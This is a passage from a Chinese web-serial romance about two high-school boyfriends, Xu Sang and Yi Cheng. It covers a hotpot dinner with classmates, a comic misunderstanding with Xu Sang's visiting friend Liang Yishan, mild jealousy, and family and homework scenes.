窗纸上黏着物多,尤其有贪玩爱乐的人胡乱粘的贴纸,水果蔬菜动物都有,五花八门的。许桑轻拧眉,擦拭时力气重了些。 却不料顺势窗户滑出一小截,而其外断裂的钢丝因弹性而撞进来…… 陈慢在这头,听到些动静,往这边看了眼:“许哥,你没事吧?” 许桑侧过手背,声音平静:“没事。” 而后,他将手伸出去,冷眸看了眼手背上被刮划到的口子。不长,类似水果刀划出的伤,自中央处渗出鲜血。 停滞两秒后,他将铁丝扣在吊绳处固定好,又平静地关上窗,这才不慌不忙地抽了张卫生纸擦掉血迹。 “好,最后我检查一遍,没问题就能走了。”陈慢撸起袖子四处看,转完一圈回来,他拧着眉,面色凝重。 “求你,笑一个好吗?”吕丁差点给他跪一个,“再打扫下去,我真得把这当家了。” 不把这当家,都对不起这么久的大扫除! 陈慢闹剧演完,一秒切出笑容:“嘿嘿,非常干净,可以回家了!” 被折腾了近一个小时的几人,如释重负地开始收拾书包。 校园空荡荡的,作为最晚一批离校的,他们眼中并无丝毫留恋地转身看了眼教学楼。 这楼放在上课期间,压抑指数绝对报表——不过这要短暂逃离了,竟还别有风情。 当然,除陈慢外没谁体验到此间“风情”。 陈慢多看了两眼,回头后才发现自己落后了好几步。他飞快跟上去,“你们走那么快做什么?” 吕丁揉揉鼻子:“腿长。” “……”陈慢上下看了眼他的腿:“好像除了易哥许哥,咱身高都是17开头,区别不大吧兄弟!” “扎心了。”吕丁佯装心头被刺了一箭,往后倒了十五度,才立回来说:“不过你们都吃什么长大的,长这么高?我天天三碗米饭也没见身高有突破的迹象啊。” 易承看了他一眼,慰道:“说不定发育晚呢?” 吕丁笑嘻嘻地眨眼:“易哥,你终于说了句好听的话!好好听,可以再说一句吗?” “滚。”易承被他逗笑了。 “奶茶店人好多,有种附中的人不回家全挤这的错觉。”陈慢就近看了一圈,没物色到心仪的,便问道:“要不,我们去吃别的,比如火锅?反正假期第一天晚上,先玩玩,后面再学习?” 三人齐声:“可以。” “我记得有家老牌的火锅店,叫什么鼎盛楼,特好吃。”陈慢把手机摸出来,“趁着还有些路程,我先预约包间?” 吕丁转了个大圈:“你安排喽。” 易承低眼看了眼时间,见要到约定的七点钟,简单记了个鼎盛楼的名字,便戳了下许桑。 许桑偏了下头:“怎么了?” “秋秋昨天感冒去医院住了一晚上,我现在去接她出院。”易承压低声音,“等会发我具体位置?” “好。”许桑点了下头。 易承“嗯”了一声,信任许桑,所以懒得再跟另外两个扒着手机屏选套餐的人交代,他便先一步往旁边走。 只是还没走开,手突然被勾了一下。 抓他手腕的手,修长而漂亮。目光上移时,不禁撞见手背上的一道痕,不知何时添上的,乍一看还很新鲜……再向上便看到许桑的脸,易承轻顿:“怎么?” 许桑不语,只是将随身携带的一次性口罩给了他。 “谢了。” 易承微怔,拆封后,当着他面将黑色口罩勾上,才笑眼离开。 “咦?活人消失术吗?”陈慢抬了次头,刚想问问生活技能满分的易承:“五个人点四人餐还是六人餐”,结果寻了一圈没找到人,“我那么大个易哥呢?” “他有事。”许桑收回视线,“晚点到。” “我靠,真是个逃跑速度惊人的男人!”陈慢便连猜带蒙地点了六人餐。大概是觉得,现在的他十头牛都吃得下,遑论多一份的菜品。 鼎盛楼位于十字路口旁,偏古典装修风格,共三楼,其中二三楼是包间形式。色调以金黄为主,红飘带、木雕像,步入其间,古色古香。 “鸿途正从家中飞速赶来,”陈慢推开211包间,“店里好像提供免费小吃,你们坐,我去拿几份。” 吕丁说道:“贴心小王子啊。” 陈慢冲屋内两人挑眉毛:“那是,我好歹是被叫一声陈班的人。” “……”辣眼睛。 包间内是大方桌,六人规格,三人对坐形式。桌面中央,嵌着一口长条形状、边角方正的锅,大概是方便一桌人都能吃到。 吕丁抽出中间的板凳:“许哥,你坐这,绝对好夹菜,黄金位置。” “谢谢。”许桑没客气地坐下。 陈慢端了几碗巴掌冰粉,出去一趟,又抱了些糍粑条,最后还端了点炸食。 “建议每个包间配个餐车,我感觉跑三趟端的都不够我五分钟吃的。”陈慢坐下来,一口吞了小碗冰粉。 进来热锅的服务生恰巧听到这句,先是苦着脸心说“又遇到饿死鬼投胎的了”,然后才笑面相迎:“好的,您的建议我们稍后会进行反馈,感谢您对鼎盛楼的支持。” 陈慢猛咳:“……” 葡萄干差点卡喉咙里噎死他! 等开火后,服务生退出房间,吕丁这才放肆地笑出来:“哈哈哈哈……” “这辈子第一次遇到移动意见箱。”陈慢拍拍胸脯。 许桑倒了杯热水,才抿一口,便接收到信息轰炸。他垂眸看了眼梁意杉的消息,是几张成绩表,没来得及点开,电话便跳了进来。 他走到窗边,看着街上的流动,接了电话。 梁意杉的声音蹦出来:“许哥,你听我现在说话,跟平时有没有什么不同?” 许桑说道:“挺活力的。” 平时讲题时他总是一股要死不活的劲儿。 “活力吗?我觉得我来这之后苍老了十岁不止。”梁意杉嗓门很大。 捕捉到关键词,许桑问道:“来这?” “我现在,刚下出租车。头顶的天空,是南城灰色的天空;身上的清风,是南城冰凉的冷风;脚下的大地,是南城垃圾遍布的土地。许哥,惊不惊喜意不意外?” 许桑:“……” “怎么不给点反应?是不是这行为太霸总太震撼没反应完全?” “毛病。”许桑轻顿,“你在哪里?” “不知道啊,我就记得什么朝昏区,师傅说到了我就下了。”梁意杉环顾四周,“这边挺老旧,没看到标志性建筑。所以我在哪啊?” 许桑无奈一笑:“巧了,我也不知道。” 话筒两面一片死寂,梁意杉在风中石化一会儿后,才开口:“许哥,你现在在家还是?” “外面吃饭。”许桑指尖划了下玻璃。 “今天过年不集福,我来南城卡bug。”梁意杉叹了口气,“最离谱的是,我手机快没电了。许哥,要不,你问问,你男朋友同不同意我来蹭个桌?” 易承不在……许桑轻顿,转头看向陈慢。 “怎么了?”陈慢有那么点情绪敏感肌,“易哥有事还是?” 许桑放下手机,说道:“我有个朋友——” 陈慢像是猜得到他要说什么,“好啊,刚好点的六人餐。” “我没问题。”吕丁也跟着说道:“顺便还能涉猎一下许哥的朋友圈,挺好。” 许桑轻笑,转头,“我发你定位。另外,你有订酒店或宾馆吗?” 他现在可没有独立房间给梁意杉住。 梁意杉忘了想这个问题,这才惊觉:“我靠,忘了!不过没关系,许哥,我可以跟你挤一挤,实在不行沙发地板厕所都可以,我不嫌弃。” 许桑轻叹气:“……” 没有惊喜全是惊吓,梁意杉该叫梁意外!- “光头强!……” 易承左脚迈进病房时,被屋内音量满格的电锯声效震得顿了一步,他惊疑地看了眼房间号,确认后才迈另一只脚。 屋里三张床,空了两张,因为三个娃全挤在了最里的一张。 最中间的小男孩抱着平板,左边两个女孩正托腮目不转睛盯着动画片,喜感的声效、背景音乐……丝毫不与“病号”两字挂钩。 “……”易承倚靠在门框处,抬眸望向最里头的小女孩,喊道:“秋秋。” 小女孩听到了,耳朵都移出去二里地了脑袋才恋恋不舍地转过来,慢吞吞地看过来,她一惊:“哥?” 易承突然感激起许桑给的口罩:“……” 相关费用缴好,易承带着秋秋回家。 “我看你挺生龙活虎,”易承垂眼看了下活蹦乱跳的女孩,“谁说你要死不活的?” 秋秋眼睛闭了一会才睁开,她晃着脑袋:“睡一觉就没事了。” 隔了两秒,她骄傲地说:“没办法,身体太好。” 易承:“……” 戚姨说她病得很严重,简直没个人样,昨晚来看她的时候,整个人缩在被子里,死也不抬头。 现在串着想起来,一时不知道该敬佩医者的能力还是秋秋的演技! 回家后,易承熬了些粥食,把冰箱里的小甜点推给她后,蹲下说:“哥出去一趟,你没问题吧?” “当然没问题。”秋秋抱住他,拨弄了两下口罩绳,就退后一步,握拳,高声:“哥,你放心地去吧!” “……” 这语气,又是受了哪家动画片的荼毒?- 路程不算远,鼎盛楼易承去过几次,认路。 途经一家便利店,他都已经走出两步,又折了回来,不为别的,刚一晃而过时瞄到了柜台上的创口贴。 收银员拆下来两个:“三块钱,帅哥。” 易承接过:“谢谢。” 将创口贴放兜里,他拐出店门。从路口转弯后,走了近百米,他眉心一皱。 直觉在说话:有人跟踪你! 理智在反驳:谁他妈闲得蛋疼来堵你,噩梦连锁反应吧?别想多了。 脚步声近在耳畔,易承两个快步,那人也迅疾跟上……他轻勾唇,骂了一句“狗屁理智”后,一个急刹。 身后那人没反应过来,原地笔直僵住,却核心不稳,歪七扭八就要往前摔去。 易承伸手按住他手臂,斜着看了他一眼,“你谁?” 勉强稳住身形的男生,比他矮了四五公分,但整体还算高。偏乖的长相,但一旦跟他对视后,会觉得:这男生,有点傻。 上半身穿得花枝招展,跟从颜料市场摸爬滚打回来的一样,艳得没边;下身是件破洞裤,漏风的那种,估计冷惨了,肢体接触时,手臂温度很低。 男生笑起来很温和:“谢谢帅哥,不然我得摔成王八了。” 易承松开他的手臂,观着他神似智商有限的样子,在心里又把“直觉兄”骂了一遍,转身准备离开。 “诶,帅哥,等等!”男生一把抓住他。 易承反应快,与他指尖完美擦过,冷声:“有事?” “你知道鼎盛楼怎么走吗?好像是鼎盛时期的那个鼎盛。”男生问。 易承看他一眼,像外地人:“知道。” “那你能带我去吗?”男生眼巴巴望过来,“我到了可以付你钱,绝对绝对不骗你!骗你我喝牛奶噎死、吃豆腐烫死,我发誓。” “……”学校是不是宣传过:只指路,不带路,让你带路是套路? 易承轻顿,“走。” 男生嘻嘻一笑,并排走后,时不时会看易承一眼,好奇心都快溢出眼珠子了。 易承侧眸:“眼珠子收收。” “……”男生一噎,“不好意思。帅哥,你今年高几?多少岁?有女朋友吗?” 易承轻挑眉:“帅哥,能闭嘴吗?” “嗯……”男生换了个话题,“那离鼎盛楼还有多久的路程啊?打车快还是走路快?要不我们打车吧,我有点冷。而且我手机没电关机了,但钱全在线上。要不你替我付,到了我让我朋友把钱给你?” 见易承始终不说话,他皱眉:“还怪高冷的。帅哥平时说话吗?一般说几个字?” 易承看他一眼:“……” “确定了,口罩不用摘我就知道是个帅的。”男生肯定地拍胸脯,“我那个朋友,眼神和你一模一样,我都被看习惯了。” 五分钟后,转角。 男生还在喋喋不休,易承则面容无波地停了步子。 男生疑惑:“诶?怎么了?” 易承不语,只是看向街对面。男生视线也跟着过去,看清楚图徽和字样。 他一惊:对面是间派出所。 “啊?!” 易承无视他眼里的疑惑,讥笑:“帅哥,到家了。” 男生差点跪下去:“……” 这是什么美妙的误会。 “那个,帅哥,我想你误会了。”男生欲哭无泪,“我找你单纯因为你长得很神秘,很符合我朋友的审美。其次,我真的不是诈骗犯。我没现金是事实,而且到了之后我朋友绝对绝对会给你钱,三倍四倍任你选!” 易承扫他一眼:“你朋友?” “嗯。”男生继续:“你要是不信,我有他电话,你打给他。” “不用了。”易承转身,“前面就是鼎盛楼。” 男生:“……” 吓他一跳,有意思吗?! 跟人散开,易承看了眼许桑给的包间号,211。 离电梯口近,他索性进了电梯。 按下“2”,电梯门关闭前夕,忽的探进一只手来,也不怕被夹,而后整个人挤进来。 四目相对,相对无言。 男生招招手,往楼层按钮上看了眼,转回来:“巧啊,帅哥。” 易承笑了:“……” 直到两人分道扬镳、左顾右盼,最终却一同站在211包间门口。 男生问道:“嗯?你带错路了还是我记错包间号了?” 易承不咸不淡地退后一步,开口:“你请。” “……”男生尚在自我怀疑阶段,伸手按住门把手,正要用力,门从里面被打开。 明黄灯彩被玻璃折散,打光一般落在这人脸上,白皙的皮肤似因此生辉,光洁不染。他微微倾身,礼貌极了;可惯常疏离的眉眼,却透着股“生人勿扰”的冷淡。 太好了,是许桑…… 两人出奇一致地想着。 许桑轻顿,将两人晃了一眼:“你们一起的?” 男生说道:“我们?” 易承也愣了一秒,“认识?” 许桑:“……” 饭桌上,许桑落座后,易承坐他左边,梁意杉自然而然坐在他右边。 场面一度有些尴尬。 “你们好,我是许哥的好哥们,我叫梁意杉,意思的意,杉树的杉,是个正人君子,一不骗人二不诈钱。”梁意杉微笑着,眼神飘过在座时,却刺了眼易承。 “……”易承偏过头笑。 许桑不用自我介绍,向易承靠过去:“笑什么?” 易承嗓音似奔腾的山泉,叮叮当当欢欢快快的,“路上遇到你朋友,险些给他送进了派出所。” “……” 许桑微滞,不过联想起他手机没电的事实、不带现金的习惯、话又多又密还乱的烦人劲儿,似乎又合理了。 他笑道:“没事。” “我是陈慢,初次见面,非常高兴!”陈慢起身跟他握手,“不过你这身不冷吗?” “冷啊。”梁意杉说着还抖了抖,“但冷不过那位朋友的脾性,还好还好。” 说着,他绕过许桑,跟易承对了一眼。 “啧。”易承大大方方地回视,想起自己没摘口罩,又伸手把口罩勾掉,露出凌厉分明的下半张脸。 “你说易哥吗?”吕丁也起来跟他握手,偏头看了眼校服外套脱放旁边、只着一件黑色衬衫的易承,居然还解了两颗扣子!难怪招人一而再再而三的注视……他眉毛眼睛一起转,“熟了就好了。” 梁意杉起身跟他握手:“是吗?” “嗯。”吕丁笑着,“我是吕丁,很高兴认识你。” 后面赵鸿途也起了次身,简单交握之后,几个人一齐看向易承。 “……”易承起身,眼里噙着笑意,笑意却不达眼底。他声色比素常沉些,眼神要比素常还要厉些,他对梁意杉说道:“我是易承。” 梁意杉起身,一手轻搭在许桑肩上,笑得灿烂:“梁意杉,幸会。” 吕丁拍了拍陈慢,小声:“怎么感觉两人有点过节?我没看错吧,那眼神。” “没看错。”陈慢也跟着小声,“啧啧,要我是许哥坐他们中间,早被眼神刺成筛子了。” “笑死,只有许哥能坐。”吕丁偷摸一笑,“黄金位置,我真他妈会选位置啊!” 人到齐后,服务生来帮忙下东西,需要现烫的没动外,其余都是依照时间先后顺序下锅里。 “你们慢用,有需要随时呼叫。”服务生出去前说道。 陈慢应道:“好的,谢谢。” 吕丁听着梁意杉说话,有些震惊:“你和许哥是同班同学?” “是啊,好几年了。”梁意杉夹着牛肉片,边吹冷边说话,“要不是许哥突然转学,就同学情大满贯了!” “……”同个班还要扯什么大满贯? 吕丁吱了一声,“那你成绩也很好喽?” 梁意杉塞了牛肉片,面露苦色:“朋友,你这一句话八个字,字字戳到我脊梁骨。” 吕丁顿住:“……” 那扯什么大满贯,他还以为这人跟许哥水平是同一挂的! 吃到中途,许桑又起身接了个电话。 他出了包间,在楼梯转角处接听。 “许桑是吗?” 许桑背向窗口而站:“是。” “我是刘芳,刘姨!谢谢你啊,你给我那个叫什么盘的,我给女儿看过了,她好高兴好高兴的。说那个数学课的老师,在网上特别出名,跟明星一样,但报名费很贵,上万来着,她一直没机会听。她让我来谢谢你,说很感激。” “另外,我还是听你的话带她去看了心理医生,医生还批评我了。我听教训下次一定不会那么想了……谢谢你,孩子,还有,我女儿这次期末考试,还进步了两名呢!” …… 许桑安静听她讲着,听她从声线正常讲到声线颤抖,从情绪激动再到渐渐平复,从言辞富足讲到除了“谢谢”别无他词。 最后,他才开口:“不用谢。” “还是要谢谢的,我听说你搬家了是不是?我本来是要送些水果吃的过来的……那我下次直接送到你学校去?” “不用。”许桑会心一笑,“有帮助就好。” 许桑走后,中间的位置空出。梁意杉这才细细将易承看着,歪歪头又挑挑眉,似乎硬要将人看个里里外外、彻彻底底。 取了口罩居然更帅了? 一开始,他本来只想随便蹲个本地人带路,奈何忽然看到便利店门口结账的人,个头、体形相当优越,人群中一眼就能望到。 不过时机没把对,漏跟了半分钟……艰难把人追上时,还不知道怎么的,就被易承怼得脑门生烟,还差点被甩进派出所晾着。 简直是他人生一大耻辱。 偏偏……许哥怎么会交这样的朋友?除了颜值,对面吕丁都要胜他一筹! “看他做什么?”许桑回来时,见梁意杉脖子断了一样,歪着头盯着易承直勾勾地看,不禁问道。 梁意杉活动了下脖子:“看他有什么闪光点。” 许桑:“……” 怀疑他的眼光? 除去这段小插曲,许桑还算心情愉悦,他拉开板凳坐下,笑着喝了口饮料。 一直观察着黄金位置,吕丁见他笑着,不禁问道:“许哥,遇到什么好事了,这么高兴?” 许桑回道:“帮到人了。” “啊?”吕丁刚想拍拍陈慢说:看,“为人民服务”大军又添一名兵……就听许桑讲了故事原委。 很简短,两句话就完了——“拷了一份网课资源,拿到的人提了分。” 赵鸿途终于吱声了:“什么课,这么高级?” 他这一问,彻底改变了饭桌上的格局。 五分钟后,梁意杉的平板,在餐桌桌尾被横空架起,上面正播放着课程——“第一讲:数列。” “不是,我死活看不懂的题,他就这么水灵灵地秒了?”吕丁惊呼。 陈慢:“我靠,数列还能这么搞?” 赵鸿途都中途停了筷子,目不转睛地盯着视频看,内心波涛汹涌:我操!好牛逼的思路,好牛逼的老师。 一讲播完,一桌饭刚好吃到结尾。 赵鸿途伸手拂了拂煮锅的热气,期待地问:“许哥,这资源能发我吗?” “原则上可以。”许桑将U盘收回,淡声,“但没有代价,放弃的成本是很低的。” “我明白了。”吕丁站起来说道,“许哥,我攒攒过年压岁钱,争取自己买下来。不然免费的东西,好像确实说放弃就放弃了。” “这个意思啊。”陈慢挠挠下巴,“那我也忍痛割点爱……高考成绩最好能值这个价!” 赵鸿途明白过来,自惭形秽地低下了头,转而才道:“加一。” 许桑轻笑:“看你们。” 他倒也不是不想给。只是觉得,让有价值的东西无成本地抛掷出去,不产生增益……是一件很没意思的事。 “回家注意安全!” 从路口分道后,许桑身边一左一右站着两个人。偏偏这两人时不时视线交锋,像掺了火药味。 许桑刚问过易承,易承表示说:沙发够,厕所够,唯独床不够。 那也行…… 梁意杉憋不住了:“许哥,你跟这个易承,同这么久的路啊?” 易承嗤笑一声:岂止同路,甚至同居! 许桑“嗯”了一声,忽然想起什么,他向梁意杉靠近,小声说了句:“你吵着要见的,我男朋友。” 梁意杉:“???” 他瞪大眼眸,转过去看着易承那张精致的脸庞,又联想起去鼎盛楼那一路上零零散散听到的声音。 梁意杉一震:我操?! 第75章 第75章 【“你今晚,这是醋了?”】…… 宾馆自然是有的, 易承脑中跟有内置导航一样,在路口间游走自如。 梁意杉在宾馆柜台把手机开机后,拿了房间钥匙转身笑说:“许哥, 那明天见!” 许桑朝他点头:“嗯。” 出了宾馆,等红灯时,许桑问道:“这里离家里远吗?” “家里?”易承说完,细细品了品许桑话里的字眼:“家”, 没有你或是我这类限定词的“家”。想及此,他眸中含笑, 回答道:“远, 很远。” 许桑不解:“很远?” “嗯。”易承伸手招了辆对面车道的出租车,趁车调头时,说道:“见一面时间成本很高的那种远。” 许桑还是有些不解。 等坐到后座,车子行驶起来,车窗倒播般地映上街景后,许桑歪头, 看了眼司机开设的导航。 “距离目的地4.1公里,预计用时10分钟……” 这叫时间成本很高的远? 将今天发生的事联想一通,尤其是吃饭时易承跟梁意杉之间莫名其妙却相当频繁的眼神对视……他忽然明白过来。 想着,他唇角勾笑,索性靠在了易承肩头,阖上了眼。 车载音乐在循环着近日的网络热曲,歌词口水,节奏跳跃, 听久了会想:耳朵、脑子,你们受苦了!而有了这层铺垫,紧闭的车窗, 劣质的车载暖气,以及没品的熏香,杂糅在一起,分分钟让人体验到晕车的痛楚。 考虑到这一点,易承垂眸问了句:“不舒服?” “不是。”许桑手探过去,将易承的手背覆上,食指点了一下,在他耳边小声问道:“你今晚,这是醋了?” 像是被戳中了心思但又无端想护着面子,易承底气不足地回了句:“没有。” “是吗?”许桑笑着陈述事实,“频繁眼神对视、一对话就犯冲。有宾馆选项却先推荐厕所、还撒谎地理距离。易承,解释解释?” 易承轻顿:“……” 有些点,甚至连他自己都没意识到。 不愧是许桑,逻辑缜密,论据充分。 见他不说话,许桑添了一把火:“我总不能当、你是看上他了吧?” “不是。”易承轻摇头,脑海中浮现的是梁意杉起身同他握手时、另一只手相当自然地搭在许桑肩上……诸如此类,他说道:“只是有些不习惯。” 许桑问道:“不习惯?” “嗯。”易承说道:“不习惯有人离你这么近。” 近且自然。近到、自然到像是超了“朋友”的界限。 “这样啊。”许桑看了眼司机的中控屏,笑着坐直身子,摸出手机,打字。 半分钟后,易承手机振了一下,他低头点开消息。 【许桑:你知道,你现在的行为像什么吗?】 【易承:?】 他有些疑惑,他和许桑的距离不过几厘米,为何偏要线上联系……直到网络神曲爆至高潮,节奏强度之大,说听完的人瞬间脑震荡都不为过! 易承轻皱眉,偏头一笑:明白了。 【许桑:像“狗护食”。】 易承看到内容:“……” 发完这条消息,许桑点开跟梁意杉的聊天框,自然而然地发了句:“自下次见面起,除必要,别肢体接触。” 【杉:???】 【杉:????】 …… 回到家,许桑先进了浴室,易承则去看了眼秋秋。 他蹲在床边,问道:“这么晚还不睡?” “不晚不晚。”秋秋仿照大人的口吻,说话时食指立着来回晃,“才十点,还早。” 易承怜悯地看着自家妹妹:“……”发个烧,感个冒,怎么偏偏脑子成了受害者。 秋秋嬉皮笑脸了两分钟,才把动画本放在一边,手从被子里伸出来,环住了易承的头,很小声也很模糊地喊道:“哥。” 易承温柔回道:“你哥在呢。” “你以后,可不可以多去戚姨家里?”秋秋说话时,带着小心翼翼,像是不敢多说,可内心的欲望到底强烈,封不住,“我想天天看到哥。” 易承一愣,看着骤然收回手又钻进被窝里拳打脚踢的“一团”,沉默了。 秋秋的学校作息,较之高三生的,区别还是蛮大的……他怕秋秋早上睡过头,又怕秋秋晚上回来没人陪,所以应了戚姨他们的建议,高考前,都先将秋秋交给他们。 不过现在想来,他忽略了“亲疏”:不是一家人,进出一家门,多多少少会有些隔膜。 他垂眼,将被子下乱拱的人看了两眼,精准地摸上她的后脑勺,“秋秋,我们玩个游戏好不好?” 秋秋顶着被子四脚爬行,在床上乱窜,闹道:“你石头剪刀布就没输过,不公平,我才不玩!” 易承:“……” 秋秋每次出“剪刀石头布”时,手先要傻傻地摆出个形状,才自以为飞驰电掣地出出去……他又不是没长眼。 笑了声,他追过去,小声说道:“玩另一个游戏。” 秋秋又往外拱:“不要,每次玩捉迷藏,我找一天都找不到!你太会藏了,我不玩。” 易承吐槽了句他妹后,才说道:“新游戏,一诺换一诺。你答应我一个条件,我还你一个愿望。玩不玩?” 秋秋抬头:“什么都可以吗?” “嗯。”易承补充一句,“别让我炸你们学校就行。” 秋秋终于舍得离开被子,钻出来:“那我想要回家,天天都见到哥!” “好。”易承坐过去,“那秋秋答应我:上下学时能保证自己人身安全、寒假期间学会简单的做饭、无人监督情况下能自觉完成作业……” 秋秋没等他说完就答应道:“好!” “……”真能吗? 易承也不确定,但他不忍看到秋秋眼神里浸满失落。而刚刚喊出那声“好”时,她眼里有金灿灿银亮亮的光点……他伸手揉了下她鸡窝般的头,笑说:“那现在几点了?” “我睡了,我睡了!”秋秋笑得二十八颗牙齿全露出来,往被窝里使劲钻,露出的脑袋疯狂甩动,“哥,晚安!” 易承轻笑:“晚安。” 留好小夜灯,易承出去时掩上门,放轻脚步声地回到房间。 许桑沐浴完,穿了套白色睡衣。头发习惯性吹得半干,耳下处发尾凝了几颗水珠。他浑然不觉般,正坐在书桌前,写题。 目光瞥了眼他左手手背,易承收回要进屋的脚,转身去取了些消毒酒精。 再进房间时,他说道:“手给我。” 许桑转头看他:“嗯?” 易承用脚勾来木椅,坐下时,在身侧晃了下酒精瓶身,沉声:“左手。” 许桑目光微晃,他先是看了眼自己手背,因条件限制,上面那条口子只进行了简单的处理:过水、止血、擦拭。现下尚能看清伤痕中部的血肉,周边的皮肤色泽偏深…… 他伸手时,下意识手心朝上,“怎么了?” 易承不语,把他手翻过来,反过瓶身时,才道:“忍着点。” 话落,他按下喷雾。 冰冰凉凉的触感落于手背,只是伤痕处多了几分痛意。许桑轻颤,目光落在易承换成棉签的手上,有些发愣: 来来去去这么多个人,连他自己后期都有些忽视了的东西,竟还被一个人念着记着。 这种感觉,很奇妙。 处理好后,易承从兜里摸出创口贴,是那种骗小孩贴上的类型,白色打底,上面彩笔勾勒出卡通图案。 但按许桑的习惯,估计不喜欢,所以他挑挑拣拣拿了两张纯色,刚在客厅取药时,用黑笔勾了两个字母:yc。 许桑盯着他这一系列动作,收回手时,说道:“谢谢。” “嗯。”易承应了声,视线微偏,落在卷面上,“附中的题?我记得你说,性价比低,做了浪费时间。” “说过。”许桑往手背上多看了几眼,才转向题目,“不过目的不同。附中的寒假作业题多且杂,没梯度,用来练反应和速度,挺好。” 易承认同地点了下头。 许桑勾了一道题,思考时说道:“你不需要。” 易承挑了下眉:“怎么说?” “你反应和速度比我快。”许桑偏过头来看了一眼,“只是知识点的熟练度不高,正常练题就行。” “这是在夸我?”易承笑着进了一步。 许桑点头:“嗯。” “啧,难得。”易承起身,将一旁的喷雾连同棉签罐抱住,“我先洗澡,等会来做题。” 等易承出了房间,许桑放下笔。他伸出左手,将手背举至台灯下,看着光落在手背,映亮了创口贴,尤其是上面两个随意的字母。 写得还挺个性,不需费神便能猜到出自谁手…… 看了有一会儿,他轻笑出声。 把试题(一)刷完,前前后后只用了一小时,比理想速度慢了些。 许桑翻到尾页,想对答案,却发现:十八套题,占了这本作业的全部——附中寒暑假作业由学校统一装订,为防止抄答案太顺手,采取老师自主命题形式。 “……”没有标答的试卷,存在的意义是什么? 他找到万能的“五虎上将”群,发问。 【许桑:寒假作业答案,谁有?】 【不识好人丁:许哥,你是被盗号了吗?】 许桑在心里回复:没被盗号的“许哥”,一般是不会碰寒假作业这种东西的。 【慢即是快(为人民服务+好好学习版):许哥,你这话问得太不巧了!我刚发朋友圈说要好好学习,不是题无就是我死!两秒前,才被答案搜集群聊踢出去……】 【不识好人丁:这么说来,我去翻翻这个群。】 【不识好人丁:呀!我也被踢了。为什么?】 【慢即是快(为人民服务+好好学习版):小丁子,因为你个签改成了:“只要学不死,学习就是我的,hiahia.”】 【不识好人丁:……这群没志向的家伙。】 【不识好人丁:许哥,你真想要的话,去找易哥。@易承。他三个小号都扎在那群里,群主应该踢了一个但没踢完。】 【许桑:三个小号?】 【不识好人丁:对啊。之前,易哥每次嫌弃作业质量不想做的时候,就开始各种搜罗答案、找代写,一套玩得贼溜。】 …… 易承进房间时,发现许桑在笑,肩头轻颤,单从背影便看得出心情很好。他走过去,手搭上他肩。 因着这姿势,屏幕一览无余。 许桑感受到他的存在,仰头笑问:“你以前是这样的?” “哪样?”易承俯身。 许桑找不到确切的形容词,只道:“坏学生的样子。” 易承:“……” 他看了眼屏幕里的关键词,“啧”了一声,笑说:“很坏吗?” 许桑摇了下头:“刚刚好。” 易承一手撑在桌面,是个从后将许桑环抱住的姿势,他乐滋滋地说道:“那这么说来,我的‘坏’还挺有绅士风度,进退有量。” 许桑没否认,他就着这姿势,偏头,作弄人似的,轻描淡写地亲了下易承的嘴角,小声:“嗯,刚刚好我喜欢。” 第76章 第76章 【“别欺负人了。”】…… 早起似乎是每个高三生的必备技能, 许桑习惯六点半起;易承则稍早些,固定六点钟起。不为别的,他不贪睡, 不如利用这时间做点什么。 就连假期也不例外。 准时起床后,洗漱时盲听一则两倍速的英语听力,而后趁着精神头练半小时数学题……等许桑起床,两人啃面包吃早饭时, 一起读两篇实时外刊。 一派做下来,去学校的路上便神清气爽权当休息了——同时也能保证脑细胞充分活跃, 即使熬夜, 亦能做到至少上午不犯困。 今早倒不需要挎上书包奔向学校,易承则百无聊赖地刷题玩儿。十一点出头时,许桑说:“梁意杉预订了家米线馆,要去吗?” 于是,十二点整,三人坐在了馆子靠窗的四人桌上, 易承同梁意杉面对面。 却不知为何,梁意杉头越埋越深,不知情的还以为他要在锅里扎根长芽呢。 “我看你头都埋锅里了,”易承看着餐桌对面的梁意杉,好奇地问道:“脸很冷?” “……没。”梁意杉摇头,又从热烟缭绕的砂锅里缓缓抬头,试探性地开口:“那什么,我也叫你易哥, 行吗?” 易承稍显诧异,而后点头:“随你。” “易哥,我现在道歉还来得及吗?”梁意杉又把头埋下去了, 脚趾在鞋里工程建造,跟ddl将至的赶工一样,效率贼高。 他实在是非常非常尴尬,先不说昨天他纯为面子而处处跟易承“针锋相对”。 单单是回想起之前跟许桑打电话时,他当易承的“面”撩拨许桑,还有忘挂电话就开始乱嘀咕,偏还被“正主”听个正着。 那句“这位弟弟,劳驾挂个电话”,即使是回忆,听着都充满了让他头皮发麻的压迫感。 想着,他昨晚翻来覆去死活睡不着,枕头被他拱变形、被子里棉絮也被踢散,他整个人还从床上摔下来几次……但,尴尬劲缓解不了一点。 梁意杉顶着黑眼圈,头一次早上十点就从床上立起来:“……” 他就说嘛,他一个向来只踩狗屎、从不得运的倒霉蛋,怎么可能随便一走就遇到同路的帅哥! 易承将挑起来的青菜又丢回碗里,疑惑道:“道什么歉?” 多了去了。 梁意杉嘀咕一句,小心翼翼地说道:“我不该说你……不行?” 易承筷子差点没捏稳:“……” 见易承表情不对劲,梁意杉疯狂找补:“我昨晚不该对你阴阳怪气?” “我不该当你面……撩拨许哥?” 见易承眉越拧越深,梁意杉手忙脚乱地起身,抓着筷子舞而蹈之三倍速陈述:“还有的话,我不该频繁缠着许哥给我讲题?” 眼珠子一转,他又想:“我不该占据过多你跟许哥独处的时间?” “或者,我不该——” 易承把筷子平放在多余的盘子上,伸手抽了张纸,聊有兴味地朝他轻笑,见他叭叭的嘴停下,还贼有耐心地鼓励道:“继续?” 梁意杉抿唇,后知后觉地坐下来,紧皱着眉头苦思冥想。 许桑将这场闹剧看在眼里,无奈地放下筷子,伸手拉了下易承衬衫下摆,见易承一秒没犹豫地靠过来,他贴他耳边轻声:“别欺负人了。” 易承轻敛眉:“有吗?”他沉思后,严谨说道:“我问问。” “朋友,我有欺负你?” 梁意杉下意识回答:“没有啊。” 许桑:“……”两个幼稚园肄业生。 “不过,我是真想不到了。”梁意杉真诚地说,“易哥,你给个提示?主要是,我也不是故意要对你怎么样的,实在是昨天的误会稍微大了点。至于之前的,我单纯是觉得,很少有人能配的上许哥,作为好朋友好兄弟,想探个虚实,很正常不是?” “……所以,现在道歉还来得及吗?或者说按照许哥传统,我给你写个道歉信?” 在梁意杉滔滔不绝的言语轰炸下,易承受不了了: 这人简直是吕丁的plus版,世界不死他话不断那种,估计死前那口气能支撑着他说完八千字遗言不止。 易承看向他:“不用。” 梁意杉松了一大口气,“易哥,来,我们喝一杯,前仇旧恨,一笔勾销!” 说完,他把那杯还在突泡泡的可乐举起,一脸沉重。 “……”易承端起白水杯,跟他碰了一个。 